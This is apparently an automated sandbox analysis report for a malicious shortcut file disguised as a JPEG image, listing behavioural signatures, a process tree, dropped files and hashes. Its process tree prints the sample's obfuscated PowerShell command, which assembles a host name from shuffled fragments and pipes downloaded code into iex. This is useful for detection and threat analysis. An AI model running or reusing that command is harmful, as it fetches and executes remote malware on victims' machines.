Analysis

  • max time kernel
    148s
  • max time network
    145s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/07/2026, 06:41

General

  • Target
    IMG_20260727_063146.jpg.lnk
  • Size 1KB
  • Sample260728-hf3ssadj4x
  • SHA256 299c0f3dece461f829ff4dea584f51c83290af1cc313bea89587aa63a5f1dbd7
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 42 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260727_063146.jpg.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4676
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('op','reser','ins','h','ay','t','t','ow.','n','o','vp','sh','o')[1,10,3,12,5,9,2,6,4,8,7,11,0] -join $QrffUkO) -useb | iex
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4472
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\io3t5jul\io3t5jul.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4328
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES17C4.tmp" "c:\Users\Admin\AppData\Local\Temp\io3t5jul\CSC98B41C2EA027438EA8137BBE873A9057.TMP"
          4⤵
            PID:2548

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          RES17C4.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES17C4.tmp
          • Size 1KB
          • SHA256 b6fee1dd70f4e3a4b44429f26f51c7f4ef8f68d1c4ea83c9d13284f093456579
          • MD5 SHA1 SHA512 TLSH

          io3t5jul.dll

          • Path C:\Users\Admin\AppData\Local\Temp\io3t5jul\io3t5jul.dll
          • Size 3KB
          • SHA256 ff1f1fe483890a761720274d268368d11129207cfe685557c34b2c148cb2c7b6
          • MD5 SHA1 SHA512 TLSH

          CSC98B41C2EA027438EA8137BBE873A9057.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\io3t5jul\CSC98B41C2EA027438EA8137BBE873A9057.TMP
          • Size 652B
          • SHA256 6e62ff89639e665e707ee21ba8fa395b4894ad47db81997a9457c4734b9f3853
          • MD5 SHA1 SHA512 TLSH

          io3t5jul.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\io3t5jul\io3t5jul.0.cs
          • Size 203B
          • SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
          • MD5 SHA1 SHA512 TLSH

          io3t5jul.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\io3t5jul\io3t5jul.cmdline
          • Size 369B
          • SHA256 f23728d0d33d92bf929d3a7b3d7f671c7cf6dc2c425699832302363a1c87d256
          • MD5 SHA1 SHA512 TLSH

          memory/4472-10-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/4472-9-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/4472-11-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/4472-12-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/4472-13-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/4472-14-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/4472-15-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/4472-16-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/4472-17-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/4472-2-0x00007FFE9AF1F000-0x00007FFE9AF20000-memory.dmp

          memory/4472-8-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/4472-30-0x000001472A4E0000-0x000001472A4E8000-memory.dmp

          memory/4472-7-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/4472-6-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/4472-5-0x000001472A720000-0x000001472A742000-memory.dmp

          memory/4472-31-0x000001472A750000-0x000001472A87F000-memory.dmp

          memory/4472-32-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/4472-33-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/4472-35-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp